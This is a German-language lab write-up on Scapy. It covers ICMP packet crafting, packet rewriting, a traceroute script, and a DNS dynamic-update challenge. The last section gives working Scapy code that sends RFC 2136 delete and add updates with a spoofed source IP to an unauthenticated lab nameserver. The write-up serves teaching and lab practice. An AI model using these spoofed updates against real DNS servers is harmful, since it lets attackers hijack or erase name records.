Write-up zur Scapy DNS Update Challenge

Write-up zur Scapy #

ICMP Packet erstellen #

#!/usr/bin/env python3
from scapy.all import*
# Creating two new objects, IP and ICMP.
# IP - is an object of an IP header, setting it's src and dst IP's.
# ICMP - is an object of an ICMP header, setting it's type to 8 (request).
a=IP(src="1.2.3.4", dst="10.0.2.4") / ICMP(type=8, code=0)
send(a)

Dieses Script erstellt ein ICMP Paket. In Scapy werden die Pakete in Layern, getrennt durch den “/” erstellt.

Daten ersetzten #

#!/usr/bin/env python3
from scapy.all import*

source = SniffSource(iface=conf.iface)
wire = WiresharkSink()
def transf(pkt):
    if not pkt or IP not in pkt:
        return pkt
    pkt[IP].src = "1.1.1.1"
    pkt[IP].dst = "2.2.2.2"
    return pkt

source > TransformDrain(transf) > wire
p = PipeEngine(source)
p.start()
p.wait_and_stop()

Das Script snifft Paketet und ändert die Absender- und Ziel- IP-Adresse. Anschliessend wird es zu Wireshark geschoben, wo es weiter analysiert werden kann (fast in real-time). Durch diese Funktion kann man die Vorteile von Scapy mit Vorteilen von Wireshark kombinieren. Für eine Anonymisierung ist das Entfernen von TCP / UDP Payload allenfalls noch sinnvoll:

if packet.haslayer("TCP"):
    packet["IP"]["TCP"].remove_payload()
elif packet.haslayer("UDP"):
    packet["IP"]["UDP"].remove_payload()

Traceroute #

#!/usr/bin/env python3
from scapy.all import*
# Variable i is a counter of the number of routers.
i=1
# Sending a request with ttl i to the destination - 8.8.8.8
ans=sr1(IP(dst='8.8.8.8',ttl=i)/ICMP(),verbose=0, timeout=1)
print(i,""+ans.src)
# Loop while the packet recv isn't from our destination
while ans.src!= '8.8.8.8':
	# Incrementing the ttl time by 1.
	i+=1
	# Re-sending the ping request with incremented ttl.
	ans_temp=sr1(IP(dst='8.8.8.8',ttl=i)/ICMP(),verbose=0, timeout=1)
	# Checking for an unresponding router.
	if ans_temp is None: 
		print(i,"******")
		continue
	else:
		ans=ans_temp
		# Printing router src address.
		print(i,""+ans.src)

Dieses Script macht einen traceroute. Die TTL des Echo-Request wird von jedem Router um 1 reduziert. Sollte die TTL auf 0 fallen, wird eine ICMP-Antwort vom Typ 11 zurückgesendet. Deshalb erfährt man anhand der Absender-IP wo das Paket war, als der TTL 0 war. Um den kompletten Pfad zu tracen bedient man sich des Tricks, dass der erste Router TTL 1, der zweite Router TTL 2 hat. Das Ziel hat dann dann die Absender-IP == Ziel-IP, was auch im obigen Script das Abbruch-Kriterium ist. Wichtig zu wissen ist, dass nicht alle Router auf ICMP Echo Requests antworten und es deshalb zu fehlenden Informationen kommen kann.

DNS Update #

Aufgabenstellung DNS Update #

Es soll mit manipulierten DNS Update und DNS Delete Packeten die DNS Zone manipuliert werden. Dazu soll im Scapy ein Script erstellt werden.

Der Sinn eines lokalen DNS Servers ist auch, dass die lokalen Systeme mit einem Namen anstelle von IP Adressen angesprochen werden können. Dazu gibt es verschiedene Umsetzungen. Es kann sich zum Beispiel der Client beim DNS Server melden und sich eintragen lassen. Dyndns bietet so einen Dienst an. Man (zum Beispiel der DHCP Server) kann sich auch beim DNS Server mit DNS Packeten melden und eine Name/IP Adresse Kombination hinterlegen, was im rfc2136 spezifiziert ist. Auch sind Sicherheitsmechanismen im rfc2136 erwähnt.

Implementation des DNS Servers #

Um die Implementation zu testen, habe ich ein Dockercontainer erstellt, im Teams geteilt und dieser wurde dann später auch im Hacking-Lab hinterlegt.

Die DNS Message beinhaltet OPCODES, die frei übersetzt Operation Code heissen und definieren welche Operation ausgeführt werden soll (Status, Query etc.). rfc1035

Die rfc2136 erweitert den OPCODE um die Zahl 5, für DNS Updates. Im Wesentlichen werden die Felder übernommen, haben aber andere Bedeutungen (siehe beispielsweise 2.2 - Message Header in rfc2136)

Der Standard rfc2136 verweist auf einen weiteren Standard rfc2137 mit dem Namen “Secure Domain Name System Dynamic Update” und empfiehlt ausserdem, diese oder eine andere Sicherheitsmassnahmen umzusetzen. Der Standard rfc3007 aktualisiert den Standard rfc2137. Im Wesentlichen definiert rfc3007 ein Public-/Private-Key Protokoll, wo der Updater sein Update signiert und diese dem DNS Server sendet. Der DNS Server kann anschliessend die Signatur überprüfen und bei Erfolg den Update ausführen. Dieser Standard wurde/wird aber von der verwundbaren Ressource beziehungsweise dem DNS Server im Hacking-Lab nicht umgesetzt.

Umsetzung IP Spoofing für DNS Updates #

Für diese Aufgabe soll Scapy verwendet werden und dieser bietet bereits die Funktionen dyndns_del(...){.python} und dyndns_add(...){.python} an.

High Level Delete Funktion #

Die Funktion dyndns_del(...){.python} ist wie folgt definiert im Code in Zeile 962 - 979:

def dyndns_del(nameserver, name, type="ALL", ttl=10):
"""Send a DNS delete message to a nameserver for "name"
dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok)
example: dyndns_del("ns1.toto.com", "dyn.toto.com")
RFC2136
"""
zone = name[name.find(".") + 1:]
r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,
                                        qd=[DNSQR(qname=zone, qtype="SOA")],#noqa: E501
                                        ns=[DNSRR(rrname=name, type=type,
                                                rclass="ANY", ttl=0, rdata="")]),#noqa: E501
        verbose=0, timeout=5)
if r and r.haslayer(DNS):
    return r.getlayer(DNS).rcode
else:
    return -1

High Level Add Funktion #

Die Funktion dyndns_add(...){.python} ist wie folgt definiert im Code auf Zeile 943 - L959:

def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
    """Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136
"""
zone = name[name.find(".") + 1:]
r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,
                                        qd=[DNSQR(qname=zone, qtype="SOA")],#noqa: E501
                                        ns=[DNSRR(rrname=name, type="A",
                                                ttl=ttl, rdata=rdata)]),
        verbose=0, timeout=5)
if r and r.haslayer(DNS):
    return r.getlayer(DNS).rcode
else:
    return -1

Lösung #

Der wichtigste Teil, den wir wiederverwenden wollen, ist die Zeile mit der Declaration von r. Dort ist ersichtlich, dass die IP-Destination auf den Nameserver gesetzt wird und der Opcode 5 ist. Anschliessend werden die Felder eher zweckentfremdet, was aber schlussendlich zur korrekten Bytefolge führt. Im Standard rfc2136 ist erwähnt, dass die Felder identisch sind aber anders verwendet werden.

Eine zu beantwortende Frage ist, weshalb wir dyndns_del nicht verwenden können. Die Antwort ist, dass wir die IP Source-Adresse spoofen wollen und diese in der Funktion als Parameter nicht übergebbar ist. Gleiches gilt auch für dyndns_add.

Kurz zusammengefasst ist unser delete also:

nameserver="192.168.200.113"
zone="evil.zz."
name="hacker10.evil.zz"
spoofedSrc="192.168.200.222"
type=255

r = sr1(IP(dst=nameserver,src=spoofedSrc) / 
        UDP(sport=5353) / 
        DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")],  
            ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]),  
        verbose=0, timeout=5)

Kurz zusammengefasst ist unser add also:

nameserver="192.168.200.113"
zone="evil.zz."
name="hacker10.evil.zz"
spoofedSrc="192.168.200.222"
type="A"
rdata="127.0.0.1"
ttl=3600

r = sr1(IP(dst=nameserver,src=spoofedSrc) / UDP(sport=5353) / 
        DNS(opcode=5,
            qd=[DNSQR(qname=zone, qtype="SOA")],
            ns=[DNSRR(rrname=name, type=type, ttl=ttl, rdata=rdata)]),
        verbose=0, timeout=5)

Testen mit Linux Board-Mitteln #

nsupdate
update delete oldhost.example.com A

update add newhost.example.com 86400 A 172.16.1.1
Calendar September 21, 2021